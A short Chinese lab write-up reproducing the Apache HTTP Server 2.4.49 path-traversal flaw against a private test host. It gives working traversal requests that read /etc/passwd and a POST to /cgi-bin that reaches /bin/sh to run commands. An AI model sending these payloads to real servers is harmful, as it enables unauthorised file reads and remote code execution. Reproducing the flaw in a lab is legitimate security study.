Apache HTTP 服务器项目旨在为现代操作系统(包括 UNIX 和 Windows)开发和维护开源 HTTP 服务器。
在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。
如果这些目录之外的文件不受通常的默认配置“require all denied”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程执行代码。
复现:
访问漏洞环境页面:http://192.168.92.130:8080/
使用burpsuite抓包
GET / HTTP/1.1
Host: 192.168.92.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=.eJwNy0EOgyAQBdC7_LULZwSCXIagzqRNFc2Aq6Z3r9uXvC-ymrQXkpa9yYB8iR2lSu1I3e5H1maa-_mRigSe5o2CBOc9TxyXwkpEMir5pawcPMXZjS5iwN3E8nt7EuH3B_XcH6c.ZdXEjg.NIfTQnKMqwMNecoSNiQOPfMb7bU
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
If-None-Match: "2d-432a5e4a73a80"
发送到重发器,进行改包操作
改变GET请求,代码如下:
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
路径穿越成功
进行RCE代码执行
修改成POST请求,执行代码如下:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
echo; ls
执行成功